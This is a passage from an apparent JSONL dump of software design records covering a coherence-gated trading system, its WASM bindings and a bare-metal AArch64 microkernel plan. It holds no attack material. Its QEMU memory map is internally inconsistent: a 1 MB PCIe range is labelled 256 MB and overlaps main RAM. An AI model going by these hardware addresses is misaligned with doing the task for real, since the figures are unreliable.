high-value replay fragments when one or more conditions hold:\n\n1. High model uncertainty\n2. Large realized PnL impact\n3. Regime transition\n4. Structural anomaly\n5. Rare queue pattern\n6. High disagreement between model heads\n\nEach stored fragment becomes an RVF or signed segment containing:\n\n1. Compact subgraph\n2. Embeddings\n3. Labels and realized outcomes\n4. Coherence statistics\n5. Lineage metadata\n6. Witness hash and signature\n\n### 6. Coherence Gate\n\nDynamic mincut is the central gate.\n\nWe compute a compact induced subgraph linking:\n\n1. Incoming market events\n2. Local price levels\n3. Relevant prior memories\n4. Current strategy state\n5. Risk nodes\n\nFrom this graph we derive:\n\n1. Canonical mincut partition\n2. Cut value\n3. Boundary node identities\n4. Cut drift over time\n5. Embedding drift by partition\n6. CUSUM alarms over cut metrics\n\n**Gate uses:**\n\n1. Memory write admission\n2. Memory retrieval confidence\n3. Online learner update permission\n4. Action permission\n5. Early rollback trigger\n6. Anomaly escalation\n\n**Gate policy \u2014 allow only when ALL are true:**\n\n1. Cut value above floor for current regime\n2. Boundary identity stable across last N windows\n3. No sustained CUSUM breach\n4. Risk budgets available\n5. Policy allows actuation\n6. Model confidence exceeds threshold conditioned on coherence\n\n**Gate result type:**\n\n```rust\npub struct CoherenceDecision {\n pub allow_retrieve: bool,\n pub allow_write: bool,\n pub allow_learn: bool,\n pub allow_act: bool,\n pub mincut_value: u64,\n pub partition_hash: [u8; 16],\n pub drift_score: f32,\n pub cusum_score: f32,\n pub reasons: Vec<String>,\n}\n```\n\n---\n\n## Proof-Gated Mutation\n\nNo state mutation occurs without a proof token.\n\nThis includes:\n\n1. Memory writes\n2. Model promotion\n3. Policy threshold changes\n4. Live order intents\n5. Strategy state transitions\n\n**Mutation protocol:**\n\n1. Compute features and local graph\n2. Compute coherence decision\n3. Evaluate policy kernel\n4. Mint verified token if allowed\n5. Apply mutation\n6. Append witness receipt\n\n**Receipt fields:**\n\n1. Timestamp\n2. Model ID\n3. Input segment hash\n4. Coherence witness hash\n5. Policy hash\n6. Action intent\n7. Verified token ID\n8. Resulting state hash\n\n---\n\n## Serving Flow\n\n### Research or Paper Trading Path\n\n1. Ingest market events\n2. Update graph and embeddings\n3. Retrieve similar memory fragments\n4. Compute model outputs\n5. Run coherence gate\n6. Run policy and budget checks\n7. Emit action recommendation\n8. Store replay artifacts if admitted\n\n### Live Bounded Execution Path\n\n1. Ingest event burst\n2. Update local graph cache\n3. Score candidate actions\n4. Compute mincut coherence\n5. Check exposure and slippage budgets\n6. Require proof token\n7. Publish broker intent\n8. Record signed receipt\n\n---\n\n## Policy Kernel\n\nThe policy kernel is explicit and auditable.\n\n**Inputs:**\n\n1. Coherence decision\n2. Model outputs\n3. Position state\n4. Exposure limits\n5. Venue constraints\n6. Liquidity conditions\n7. Market halts or macro blocks\n\n**Rules:**\n\n1. Never place if coherence is unstable\n2. Never upsize in regime uncertainty spike\n3. Never write memory during adversarial drift burst unless explicitly quarantined\n4. Never learn online when realized slippage exceeds bound and cut drift is rising\n5. Always throttle actuation when order rate or cancel rate limits approach venue thresholds\n\n---\n\n## Data Retention and Lineage\n\n### Three Tiers\n\n**Hot tier:**\n\n- Recent event graph state\n- Recent embeddings\n- Recent witness chain\n- Active memory reservoir\n\n**Warm tier:**\n\n- Signed replay segments\n- Compressed embeddings\n- Model evaluation sets\n- Daily partition statistics\n\n**Cold tier:**\n\n- Long-horizon archives\n- Training corpora\n- Promoted model lineage\n- Audit snapshots\n\n**Lineage requirements:**\n\n1. Every model maps to training fragments\n2. Every live action maps to model and policy version\n3. Every mutation maps to a verified token and witness chain\n4. Every rollback maps to explicit trigger and prior state hash\n\n---\n\n## RuVector Implementation Details\n\n### Collections\n\nRecommended logical collections:\n\n1. `nt_market_graph`\n2. `nt_embeddings_hot`\n3. `nt_embeddings_archive`\n4. `nt_memory_segments`\n5. `nt_policy_receipts`\n6. `nt_model_registry`\n7. `nt_regime_index`\n\n### Indexing\n\n1. HNSW or RuVector ANN for embedding retrieval\n2. Graph neighborhood cache for local subgraph extraction\n3. Time-partitioned relational tables in Postgres\n4. Quantized serving vectors for low-latency retrieval\n5. Optional hyperbolic geometry for regime and hierarchy embeddings\n\n### Retrieval Strategy\n\nHybrid retrieval score:\n\n```\nS = \u03b1\u00b7similarity + \u03b2\u00b7structural_overlap + \u03b3\u00b7regime_match + \u03b4\u00b7coherence_bonus\n```\n\nWhere:\n\n- `similarity` \u2014 vector distance\n- `structural_overlap` \u2014 graph neighborhood match\n- `regime_match` \u2014 volatility and spread regime comparison\n- `coherence_bonus` \u2014 reward for fragments from stable partitions\n\nWeights are constrained: `\u03b1 + \u03b2 + \u03b3 + \u03b4 = 1`. Defaults: `\u03b1=0.4, \u03b2=0.25, \u03b3=0.2, \u03b4=0.15`. Tuned per regime via walk-forward validation.\n\n---\n\n## Rust Module Layout\n\n```\ncrates/\n neural-trader-core/ # Event schema, types, ingest\n neural-trader-graph/ # Dynamic heterogeneous market graph\n neural-trader-features/ # Feature extraction and embedding\n neural-trader-memory/ # Two-stage memory selection\n neural-trader-coherence/ # MinCut coherence gate\n neural-trader-policy/ # Policy kernel and risk budgets\n neural-trader-execution/ # Broker adapters, order intent\n neural-trader-replay/ # RVF replay segments, witness logs\n neural-trader-rvf/ # RVF serialization bindings\n neural-trader-server/ # gRPC/HTTP serving layer\n```\n\n### Core Traits\n\n```rust\npub trait EventIngestor {\n fn ingest(&mut self, event: MarketEvent) -> anyhow::Result<()>;\n}\n\npub trait GraphUpdater {\n fn apply_event(&mut self, event: &MarketEvent) -> anyhow::Result<GraphDelta>;\n}\n\npub trait Embedder {\n fn embed_state(&self, ctx: &StateWindow) -> anyhow::Result<Vec<f32>>;\n}\n\npub trait MemoryStore {\n fn retrieve(&self, query: &MemoryQuery) -> anyhow::Result<Vec<MemorySegment>>;\n fn maybe_write(\n &mut self,\n seg: MemorySegment,\n gate: &CoherenceDecision,\n ) -> anyhow::Result<bool>;\n}\n\npub trait CoherenceGate {\n fn evaluate(&self, ctx: &GateContext) -> anyhow::Result<CoherenceDecision>;\n}\n\npub trait PolicyKernel {\n fn decide(&self, input: &PolicyInput) -> anyhow::Result<ActionDecision>;\n}\n\npub trait WitnessLogger {\n fn append_receipt(&mut self, receipt: WitnessReceipt) -> anyhow::Result<()>;\n}\n```\n\n---\n\n## Training Plan\n\n### Offline Phase\n\n1. Ingest historical L2 or L3 streams\n2. Build dynamic graph windows\n3. Create replay segments\n4. Train temporal GNN and retrieval heads\n5. Calibrate confidence\n6. Validate on walk-forward splits\n7. Measure coherence-aware versus non-coherence baselines\n\n### Online Bounded Adaptation\n\n**Allowed:**\n\n1. Calibration updates\n2. Retrieval weighting\n3. Memory admission thresholds\n4. Narrow regime adaptation\n\n**Forbidden without manual promotion:**\n\n1. Major architecture changes\n2. Policy kernel changes\n3. Risk budget changes\n4. Output head rewiring\n\n---\n\n## Evaluation\n\n### Core Metrics\n\n**Prediction:**\n\n1. Fill probability calibration\n2. Short-horizon direction AUC\n3. Slippage error\n4. Realized adverse selection\n\n**Trading:**\n\n1. PnL\n2. Sharpe or information ratio\n3. Max drawdown\n4. Inventory risk\n5. Cancel-to-fill quality\n6. Venue quality\n\n**Coherence:**\n\n1. Average mincut by regime\n2. Partition stability\n3. Drift detection precision\n4. False-positive gate rate\n5. Rollback trigger quality\n\n**Systems:**\n\n1. p50 / p95 / p99 latency\n2. Retrieval latency\n3. Write amplification\n4. Storage growth\n5. Witness overhead\n\n---\n\n## Acceptance Criteria\n\n### Phase 1 \u2014 Research\n\n1. Replayable end-to-end pipeline\n2. Deterministic witness logs\n3. Measurable improvement from graph-plus-coherence over price-only baseline\n4. Bounded online updates with rollback\n\n### Phase 2 \u2014 Paper Trading\n\n1. Stable gate behavior under live feed noise\n2. No uncontrolled action bursts\n3. No unverified mutations\n4. Explainable receipts for every recommendation\n\n### Phase 3 \u2014 Live Small Capital\n\n1. Strict exposure limits enforced\n2. Slippage within approved band\n3. Rollback tested in production shadow mode\n4. Daily audit completeness at 100%\n\n---\n\n## Safety and Governance\n\n### Mandatory Controls\n\n1. Notional exposure caps\n2. Per-symbol limits\n3. Sector or cross-asset correlation caps\n4. Order rate and cancel rate caps\n5. Slippage budget\n6. Venue health checks\n7. Market halt awareness\n8. Human override and kill switch\n\n### Governance Requirements\n\n1. All policy changes versioned\n2. All model promotions signed\n3. All live mutations proof-gated\n4. All replay sets immutable after seal\n5. All exceptions logged with witness chain\n\n---\n\n## Failure Modes\n\n### 1. Regime Shift Masquerading as Edge\n\n**Symptom:** Model confidence rises while execution deteriorates.\n\n**Fix:** Increase weight of coherence gate, reduce online learning scope, quarantine new memory writes.\n\n### 2. Retrieval Poisoning\n\n**Symptom:** Bad fragments dominate replay or inference retrieval.\n\n**Fix:** Signed segment lineage, structural overlap thresholding, memory deprecation, reservoir diversity constraints.\n\n### 3. Feedback Loop with Market Impact\n\n**Symptom:** Strategy reacts to its own footprint.\n\n**Fix:** Actuation throttles, self-impact features, venue split, delayed reinforcement of impacted samples.\n\n### 4. Overfitting to Stable Partitions\n\n**Symptom:** System ignores true novelty.\n\n**Fix:** Maintain novelty quota in memory reservoir, adversarial validation, regime-balanced evaluation.\n\n### 5. Latency Creep\n\n**Symptom:** Graph growth degrades serving time.\n\n**Fix:** Compact local subgraphs, quantized embeddings, hot-path kernels, bounded neighborhood extraction.\n\n---\n\n## Alternatives Considered\n\n### Alternative A: Pure Time-Series Transformer\n\nOver candles and book tensors.\n\n**Rejected:** Ignores explicit queue topology, event causality, and structural integrity.\n\n### Alternative B: Traditional Feature Engineering + Boosted Trees\n\n**Rejected:** Works in narrow slices, but memory, structure, and drift handling remain bolted on rather than native.\n\n### Alternative C: End-to-End RL Trader\n\n**Rejected:** Action-space instability, reward hacking risk, and poor auditability for early deployment.\n\n---\n\n## Consequences\n\n### Positive\n\n1. Unified substrate for data, memory, learning, and governance\n2. Explicit structural reasoning over market microstructure\n3. Bounded and auditable online learning\n4. First-class drift and fragility detection\n5. Reproducible replays and mutation receipts\n\n### Negative\n\n1. More complex graph engineering\n2. Higher initial systems effort than plain tensor pipelines\n3. Policy design must be disciplined\n4. Coherence thresholds require calibration by regime\n\n---\n\n## Implementation Plan\n\n### Phase 1 \u2014 Foundation\n\n1. Define canonical market event schema\n2. Implement RuVector graph projection\n3. Implement hot embedding pipeline\n4. Implement replay segment writer\n5. Implement mincut gate service\n6. Implement witness receipts\n\n### Phase 2 \u2014 Learning\n\n1. Train baseline GNN plus temporal attention\n2. Add retrieval-augmented prediction\n3. Add uncertainty scoring\n4. Add reservoir memory writer\n5. Compare against price-only baseline\n\n### Phase 3 \u2014 Bounded Action\n\n1. Implement policy kernel\n2. Implement paper trading adapter\n3. Add risk budgets and throttles\n4. Test rollback\n5. Certify live shadow mode\n\n### Phase 4 \u2014 Live Research\n\n1. Small capital deployment\n2. Conservative venue set\n3. Daily audit review\n4. Promote only signed models\n5. Continuous regime monitoring\n\n---\n\n## Minimal Example Configuration\n\n```yaml\nneural_trader:\n symbol_universe:\n - ES\n - NQ\n - CL\n\n ingest:\n venue_clock_tolerance_ns: 500000\n reorder_buffer_events: 2048\n\n graph:\n max_local_levels_per_side: 32\n max_orders_per_window: 5000\n neighborhood_hops: 2\n\n embeddings:\n dim: 256\n quantized_dim: 256\n similarity_metric: cosine\n\n memory:\n stage_a:\n count_min_width: 4096\n count_min_depth: 4\n topk: 256\n stage_b:\n reservoir_size: 50000\n min_uncertainty: 0.18\n min_realized_impact_bp: 1.5\n\n coherence:\n mincut_floor_by_regime:\n calm: 12\n normal: 9\n volatile: 6\n cusum_threshold: 4.5\n boundary_stability_windows: 8\n\n policy:\n max_notional_usd: 250000\n max_symbol_notional_usd: 50000\n max_order_rate_per_sec: 10\n max_cancel_rate_per_sec: 15\n max_slippage_bp: 2.0\n require_verified_token: true\n\n learning:\n online_mode: bounded\n allow_calibration_updates: true\n allow_memory_write: true\n allow_weight_updates: false\n\n retention:\n hot_window_hours: 4\n warm_retention_days: 30\n cold_archive_days: 365\n partition_interval_ns: 3600000000000 # 1 hour per partition\n vacuum_schedule_cron: \"0 */6 * * *\"\n```\n\n---\n\n## Decision Summary\n\nNeural Trader will be built as a RuVector-native dynamic market graph system where vectors, graphs, temporal learning, and dynamic mincut work together as one bounded intelligence loop.\n\nThe core principle is simple:\n\n> **Do not trust prediction alone. Trust prediction only when the surrounding market structure is coherent enough to justify learning, remembering, or acting.**\n\nThat gives us a trader that is not just neural, but **structurally self-aware**.\n\n### Implementation Priority\n\nBest immediate path is three crates first:\n\n1. **`neural-trader-core`** \u2014 ingest, canonical types, event schema\n2. **`neural-trader-coherence`** \u2014 mincut gating, coherence decisions\n3. **`neural-trader-replay`** \u2014 witnessable segments, RVF integration\n\nThat gets ingest, witnessable segments, and mincut gating working before the full model stack is finalized.\n\n**Stretch option:** Adding a Mincut Gated Transformer head for early exit and sparse compute during regime instability.\n\n**Frontier option:** Deploying the coherence gate as a tiny deterministic kernel on Cognitum-style edge nodes or WASM workers so action permission stays cheap, bounded, and independently attestable.\n\n**Benchmark test:** On replay, the coherence-gated model should beat a tensor-only baseline on slippage-adjusted PnL while reducing unstable memory writes and false actuation during regime shifts.", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-085-neural-trader-ruvector.md", "created_at": "2026-03-28T11:58:49.878814+00:00", "content_hash": "26372081890f8e67f6224415589a09989b3823dd3d9400b4a1c818b821fa2f23"} +{"id": "df6e398a-52f1-4a63-8edd-323c62be9e92", "source": "adr", "text": "# ADR-086: Neural Trader WASM Bindings\n\n## Status\n\nAccepted\n\n## Date\n\n2026-03-06\n\n## Deciders\n\nruv\n\n## Related\n\n- ADR-085 Neural Trader architecture (core, coherence, replay crates)\n- ADR-084 ruvllm-wasm publish & Rust 1.91 WASM codegen workaround\n- ADR-040 WASM programmable sensing\n- ADR-041 curated module registry\n\n## Context\n\nThe three Neural Trader Rust crates (`neural-trader-core`, `neural-trader-coherence`, `neural-trader-replay`) provide a coherence-gated market graph system with 12 passing tests. However, they have no browser/WASM bindings \u2014 meaning dashboards, backtesting UIs, and browser-based research tools cannot access the coherence gate or replay memory directly.\n\nThe repository has an established WASM crate pattern used by 15+ crates (`ruvector-wasm`, `ruvector-gnn-wasm`, `ruvector-attention-wasm`, `ruvllm-wasm`, etc.) all using `wasm-bindgen` + `serde-wasm-bindgen` + `wasm-pack`. We follow that pattern here.\n\n### Rust 1.91 WASM Codegen Bug\n\nRust 1.91 has a known WASM codegen bug in release mode. The workaround (same as `ruvllm-wasm`, documented in ADR-084) is:\n\n```bash\nCARGO_PROFILE_RELEASE_CODEGEN_UNITS=256 CARGO_PROFILE_RELEASE_LTO=off \\\n wasm-pack build --target web --scope ruvector --release\n```\n\nAdditionally, `wasm-opt` is disabled via `[package.metadata.wasm-pack.profile.release] wasm-opt = false`.\n\n## Decision\n\nCreate `crates/neural-trader-wasm/` with a single `src/lib.rs` that wraps all three crates using the `XxxWasm { inner: Xxx }` pattern.\n\n### Type Mapping Strategy\n\n| Rust Type | WASM Approach |\n|-----------|--------------|\n| C-style enums (`EventType`, `Side`, `RegimeLabel`, etc.) | Mirror as `#[wasm_bindgen]` enums with `From` conversions |\n| `[u8; 16]` fields (event IDs, hashes) | Hex strings in JS (32-char), decoded at boundary |\n| Simple structs (`GateConfig`) | Direct field getters/setters via `#[wasm_bindgen(getter/setter)]` |\n| Complex nested structs (`MarketEvent`, `ReplaySegment`) | `toJson()`/`fromJson()` via `serde-wasm-bindgen` |\n| `Vec<T>` and `VecDeque<T>` | Serialized to `JsValue` via `serde-wasm-bindgen` |\n| `anyhow::Result` | Converted to `Result<T, JsValue>` at WASM boundary |\n| Trait objects (`CoherenceGate`) | Concrete `ThresholdGateWasm` wrapper (no dyn dispatch in WASM) |\n\n### Exported Types\n\n| Source Crate | WASM Type | Key Methods |\n|-------------|-----------|-------------|\n| core | `MarketEventWasm` | `new()`, field getters/setters, `toJson()`, `fromJson()` |\n| core | `GraphDeltaWasm` | `new()`, `nodesAdded()`, `edgesAdded()`, `propertiesUpdated()` |\n| core | `EventTypeWasm`, `SideWasm`, `NodeKindWasm`, `EdgeKindWasm` | C-style enums |\n| coherence | `GateConfigWasm` | `new()` with defaults, all threshold getters/setters |\n| coherence | `ThresholdGateWasm` | `new(config)`, `evaluate(ctx)` |\n| coherence | `GateContextWasm` | `new(...)`, field getters |\n| coherence | `CoherenceDecisionWasm` | `allowRetrieve`, `allowWrite`, `allowLearn`, `allowAct`, `reasons()`, `toJson()` |\n| coherence | `RegimeLabelWasm` | C-style enum |\n| replay | `ReservoirStoreWasm` | `new(maxSize)`, `len()`, `isEmpty()`, `maybeWrite(segJson, decisionJson)` |\n| replay | `ReplaySegmentWasm` | `toJson()`, `fromJson()`, field getters |\n| replay | `SegmentKindWasm` | C-style enum |\n| \u2014 | `version()` | Crate version string |\n| \u2014 | `healthCheck()` | Returns `true` |\n\n### Build & Package\n\n- Built with `wasm-pack build --target web --scope ruvector --release`\n- Published to npm as `@ruvector/neural-trader-wasm`\n- `publish = false` in Cargo.toml (Rust crate not on crates.io)\n\n## Consequences\n\n### Positive\n\n- Browser dashboards can evaluate coherence gates without a backend roundtrip\n- Research notebooks (Observable, Jupyter) can use the replay memory directly\n- TypeScript types auto-generated by wasm-pack from `#[wasm_bindgen]` annotations\n- Follows the same pattern as 15+ existing WASM crates in the workspace\n\n### Negative\n\n- Trait objects (`CoherenceGate`, `MemoryStore`) cannot be passed across WASM boundary; only concrete implementations are exposed\n- `[u8; 16]` hex encoding adds a small overhead at the boundary (negligible vs. WASM call overhead)\n- `ReservoirStore.maybeWrite()` takes JSON values rather than typed structs due to WASM ownership constraints\n\n### Risks\n\n- Rust 1.91 WASM codegen bug requires env-var workaround; future Rust versions should fix this\n- `serde-wasm-bindgen` 0.6 is a newer dependency not yet in the workspace; pinned to avoid surprises", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-086-neural-trader-wasm.md", "created_at": "2026-03-28T11:58:49.879001+00:00", "content_hash": "a7652f631f8a591140ccbe0c7f84a0c25f7c1ca2b9c848b1c3fdf9ddb97f5709"} +{"id": "fa04877c-2d69-4323-81da-d3b104a2ca0e", "source": "adr", "text": "# ADR-087: RuVix Cognition Kernel \u2014 An Operating System for the Agentic Age\n\n## Status\n\n**Accepted** \u2014 Phase A Implemented\n\n## Date\n\n2026-03-08 (Proposed)\n2026-03-14 (Phase A Implemented)\n\n## Implementation Status\n\n### Phase A: Linux-Hosted Nucleus \u2705 COMPLETE\n\n| Crate | Status | Tests | Description |\n|-------|--------|-------|-------------|\n| `ruvix-types` | \u2705 | 63 | Core types: 6 primitives, handles, proof tokens, capabilities |\n| `ruvix-region` | \u2705 | 51 | Memory regions: Immutable, AppendOnly, Slab policies |\n| `ruvix-queue` | \u2705 | 47 | io_uring-style ring buffers, zero-copy IPC |\n| `ruvix-cap` | \u2705 | 54 | seL4-inspired capability manager, derivation trees |\n| `ruvix-proof` | \u2705 | 73 | 3-tier proof engine: Reflex <100ns, Standard <100\u03bcs, Deep <10ms |\n| `ruvix-sched` | \u2705 | 39 | Coherence-aware scheduler with novelty boosting |\n| `ruvix-boot` | \u2705 | 59 | 5-stage RVF boot loader with ML-DSA-65 signatures |\n| `ruvix-vecgraph` | \u2705 | 55 | Kernel-resident vector/graph stores with HNSW |\n| `ruvix-nucleus` | \u2705 | 319 | Unified kernel: 12 syscalls, checkpoint/replay |\n\n**Total: 760 tests passing**\n\n### Security Invariants Implemented\n\n- **SEC-001**: Boot signature failure \u2192 PANIC (no fallback)\n- **SEC-002**: Proof cache with 100ms TTL, single-use nonces, max 64 entries\n- **SEC-003**: Capability delegation depth limit (max 8)\n- **SEC-004**: TOCTOU protection for zero-copy IPC\n\n### Phase B: Bare Metal AArch64 \u2014 Pending\n\nTarget: QEMU virt, Raspberry Pi 4/5\n\n---\n\n## Phase B: Bare Metal AArch64 Port\n\n### B.1 Objectives\n\nPhase B transforms the Linux-hosted nucleus into a true bare metal microkernel running natively on AArch64 hardware. Key objectives:\n\n1. **Remove all Linux/std dependencies** \u2014 Eliminate libc, pthreads, mmap, and all Linux syscalls\n2. **Native AArch64 boot** \u2014 Boot directly on QEMU virt machine and Raspberry Pi 4/5 hardware\n3. **Hardware capability enforcement** \u2014 Use MMU page tables for region protection and capability boundaries\n4. **Real interrupt handling** \u2014 GIC-400 interrupt controller integration for device drivers\n5. **Hardware timer integration** \u2014 ARM Generic Timer for scheduling and `timer_wait` syscall\n\n### B.2 New Crates\n\n| Crate | Purpose | Dependencies | Lines of Code (Est.) |\n|-------|---------|--------------|---------------------|\n| **`ruvix-hal`** | Hardware Abstraction Layer traits | `ruvix-types` | ~500 |\n| **`ruvix-aarch64`** | AArch64 boot, MMU, exceptions | `ruvix-hal`, `ruvix-types` | ~2,000 |\n| **`ruvix-drivers`** | PL011 UART, GIC-400, ARM Timer | `ruvix-hal`, `ruvix-aarch64` | ~1,500 |\n| **`ruvix-physmem`** | Physical memory allocator | `ruvix-types`, `ruvix-aarch64` | ~800 |\n\nThese join the Phase A primitives table:\n\n| Crate | Status | Tests | Description |\n|-------|--------|-------|-------------|\n| `ruvix-hal` | \u23f3 Phase B | TBD | HAL traits for UART, timer, interrupt controller, MMU |\n| `ruvix-aarch64` | \u23f3 Phase B | TBD | Exception vectors, MMU tables, boot sequence |\n| `ruvix-drivers` | \u23f3 Phase B | TBD | PL011 UART, GIC-400, ARM Timer drivers |\n| `ruvix-physmem` | \u23f3 Phase B | TBD | Buddy allocator for physical page frames |\n\n### B.3 Memory Map (QEMU virt)\n\nThe QEMU AArch64 virt machine provides the following memory layout:\n\n| Region | Start Address | End Address | Size | Purpose |\n|--------|--------------|-------------|------|---------|\n| **Flash** | `0x0000_0000` | `0x0800_0000` | 128 MB | Boot ROM, RVF package location |\n| **GIC Distributor** | `0x0800_0000` | `0x0801_0000` | 64 KB | GIC-400 distributor registers |\n| **GIC CPU Interface** | `0x0801_0000` | `0x0802_0000` | 64 KB | GIC-400 CPU interface registers |\n| **UART** | `0x0900_0000` | `0x0900_1000` | 4 KB | PL011 UART registers |\n| **RTC** | `0x0901_0000` | `0x0901_1000` | 4 KB | PL031 Real-Time Clock |\n| **GPIO** | `0x0903_0000` | `0x0903_1000` | 4 KB | PL061 GPIO controller |\n| **PCIe Config** | `0x4000_0000` | `0x4010_0000` | 256 MB | PCIe ECAM configuration space |\n| **RAM** | `0x4000_0000` | `0x8000_0000` | 1 GB | Main system memory (default) |\n\n**Raspberry Pi 4/5 Differences:**\n- Base RAM starts at `0x0000_0000` (not `0x4000_0000`)\n- GIC base at `0xFF84_0000` (BCM2711 interrupt controller)\n- UART0 at `0xFE20_1000` (mini UART) or UART2 at `0xFE20_1400` (PL011)\n- Device tree required for full peripheral discovery\n\n### B.4 Boot Sequence\n\nThe bare metal boot sequence consists of five stages:\n\n#### Stage 1: Assembly Entry (_start)\n\n```\n_start:\n // Executed at EL1 (kernel mode)\n // x0 = DTB address (from bootloader)\n\n 1. Check execution level (ensure EL1)\n 2. Set up exception vector table (VBAR_EL1)\n 3. Initialize stack pointer (SP_EL1 = kernel_stack_top)\n 4. Clear BSS segment (zero-fill static data)\n 5. Save DTB address to known location\n 6. Jump to Rust entry point (kernel_entry)\n```\n\n**Registers on entry:**\n- `x0` \u2014 Device Tree Blob (DTB) address\n- `x1-x3` \u2014 Reserved (bootloader-specific)\n- `PC` \u2014 Entry point (`_start` in boot ROM or RAM)\n\n**Assembly file:** `ruvix-aarch64/src/boot.S` (~150 lines)\n\n#### Stage 2: MMU Initialization\n\nBefore Rust code can execute, the kernel must set up virtual memory:\n\n```rust\n// ruvix-aarch64/src/mmu.rs\npub unsafe fn init_mmu() {\n // 1. Identity map kernel code/data (VA = PA)\n // 0x4000_0000 - 0x4010_0000 (16 MB)\n // Read-only for code, RW for data, no user access\n\n // 2. Map kernel heap region\n // VA: 0xFFFF_FF00_0000_0000 (canonical high)\n // PA: (allocated physical pages)\n // RW, no user access\n\n // 3. Map device MMIO regions\n // GIC, UART, timers \u2014 uncacheable, device memory\n\n // 4. Enable MMU (SCTLR_EL1.M = 1)\n}\n```\n\n**Page table structure:**\n- 4 KB pages, 4-level translation (TTBR0_EL1 for user, TTBR1_EL1 for kernel)\n- Kernel mappings in top canonical half (`0xFFFF_FF00_0000_0000+`)\n- Physical memory allocator initialized from DTB memory nodes\n\n#### Stage 3: Exception Vectors and GIC Initialization\n\n```rust\n// ruvix-aarch64/src/exceptions.rs\n#[repr(C, align(2048))]\npub struct ExceptionVectorTable {\n sync_el1_sp0: extern \"C\" fn(), // Synchronous from EL1 using SP_EL0\n irq_el1_sp0: extern \"C\" fn(), // IRQ from EL1 using SP_EL0\n fiq_el1_sp0: extern \"C\" fn(), // FIQ from EL1 using SP_EL0\n serror_el1_sp0: extern \"C\" fn(), // SError from EL1 using SP_EL0\n // ... (16 total vectors for all EL/SP combinations)\n}\n\npub unsafe fn init_exceptions() {\n let vector_table = &EXCEPTION_VECTORS as *const _ as u64;\n asm!(\"msr VBAR_EL1, {}\", in(reg) vector_table);\n}\n```\n\n**GIC-400 initialization:**\n```rust\n// ruvix-drivers/src/gic400.rs\npub unsafe fn init_gic() {\n // 1. Enable distributor (GICD_CTLR)\n // 2. Configure interrupt priorities (GICD_IPRIORITYR)\n // 3. Set interrupt targets (GICD_ITARGETSR) \u2014 all to CPU0\n // 4. Enable CPU interface (GICC_CTLR)\n // 5. Set priority mask (GICC_PMR) \u2014 allow all priorities\n // 6. Enable specific interrupts (GICD_ISENABLER)\n // - UART RX interrupt (IRQ 33)\n // - Timer interrupt (IRQ 27 for secure physical timer)\n}\n```\n\n#### Stage 4: Kernel Entry and Capability Table Initialization\n\n```rust\n// ruvix-nucleus/src/main.rs\n#[no_mangle]\npub extern \"C\" fn kernel_entry(dtb_addr: usize) -> ! {\n // 1. Parse device tree to discover memory layout\n let dtb = unsafe { DeviceTree::from_addr(dtb_addr) };\n let memory_nodes = dtb.memory_nodes();\n\n // 2. Initialize physical memory allocator\n let mut phys_allocator = PhysicalAllocator::new(memory_nodes);\n\n // 3. Initialize region manager (convert mmap to physical pages)\n let region_mgr = RegionManager::new(&mut phys_allocator);\n\n // 4. Initialize capability manager\n let cap_mgr = CapabilityManager::new();\n\n // 5. Create root task with all initial capabilities\n let root_task = Task::new_root(&cap_mgr, ®ion_mgr);\n\n // 6. Initialize queue manager\n let queue_mgr = QueueManager::new(&mut phys_allocator);\n\n // 7. Initialize proof engine\n let proof_engine = ProofEngine::new(&cap_mgr);\n\n // 8. Initialize vector/graph kernel objects\n let vecgraph_mgr = VecGraphManager::new(&mut phys_allocator, &proof_engine);\n\n // 9. Initialize scheduler\n let scheduler = Scheduler::new();\n scheduler.add_task(root_task);\n\n // 10. Load boot RVF and jump to first component\n load_boot_rvf_and_start(&cap_mgr, ®ion_mgr, &queue_mgr);\n\n // 11. Enter scheduler loop (never returns)\n scheduler.run()\n}\n```\n\n#### Stage 5: First RVF Component Load\n\n```rust\n// ruvix-boot/src/loader.rs\npub fn load_boot_rvf_and_start(\n cap_mgr: &CapabilityManager,\n region_mgr: &RegionManager,\n queue_mgr: &QueueManager,\n) {\n // 1. Read RVF from flash at 0x0000_0000\n let rvf_bytes = unsafe { read_flash(0x0000_0000, RVF_MAX_SIZE) };\n\n // 2. Verify ML-DSA-65 signature (Stage 1 from Phase A)\n let manifest = rvf::verify_and_parse(&rvf_bytes)\n .expect(\"Boot RVF signature verification failed\");\n\n // 3. Create regions per memory schema\n for region_spec in manifest.memory_schema {\n region_mgr.create_region(region_spec.size, region_spec.policy);\n }\n\n // 4. Load WASM components into executable regions\n for component in manifest.components {\n let code_region = region_mgr.map_immutable(&component.wasm_bytes);\n // WASM runtime initialization happens here (Wasmtime or wasm-micro-runtime)\n }\n\n // 5. Wire queues per manifest\n for queue_spec in manifest.queue_wiring {\n queue_mgr.create_queue(queue_spec.size, queue_spec.schema);\n }\n\n // 6. Spawn initial tasks\n for entry_point in manifest.entry_points {\n let task = Task::spawn(\n entry_point.component_id,\n entry_point.caps,\n TaskPriority::Normal,\n None, // no deadline\n );\n scheduler.add_task(task);\n }\n\n // 7. Emit boot attestation\n kernel.attest_emit(\n &AttestPayload::Boot {\n rvf_hash: manifest.hash,\n timestamp: timer.now(),\n },\n &ProofToken::trusted_boot(),\n );\n}\n```\n\n### B.5 Security Model Enhancements\n\n#### MMU-Enforced Capability Boundaries\n\nIn Phase A (Linux-hosted), region protection relied on `mprotect()`. In Phase B, the kernel directly controls page table entries:\n\n```rust\n// ruvix-region/src/region.rs (Phase B version)\nimpl RegionManager {\n pub fn map_region(&mut self, policy: RegionPolicy, size: usize) -> Result<RegionHandle> {\n let phys_pages = self.phys_allocator.allocate_pages(pages_for(size))?;\n\n let pte_flags = match policy {\n RegionPolicy::Immutable => {\n // User-accessible, read-only, cacheable\n PTE_USER | PTE_RO | PTE_CACHEABLE\n }\n RegionPolicy::AppendOnly { .. } => {\n // Kernel-only, write-append enforced via capability checks\n PTE_KERNEL_RW | PTE_CACHEABLE\n }\n RegionPolicy::Slab { .. } => {\n // Kernel-only, full RW\n PTE_KERNEL_RW | PTE_CACHEABLE\n }\n };\n\n // Map into kernel address space with appropriate permissions\n let virt_addr = self.mmu.map_pages(phys_pages, pte_flags)?;\n\n Ok(RegionHandle {\n virt_addr,\n phys_pages,\n policy,\n size,\n })\n }\n}\n```\n\n**Page table entry flags:**\n```rust\nconst PTE_VALID: u64 = 1 << 0; // Valid entry\nconst PTE_USER: u64 = 1 << 6; // User-accessible (EL0)\nconst PTE_RO: u64 = 1 << 7; // Read-only (AP[2])\nconst PTE_KERNEL_RW: u64 = 0 << 6; // Kernel-only, RW\nconst 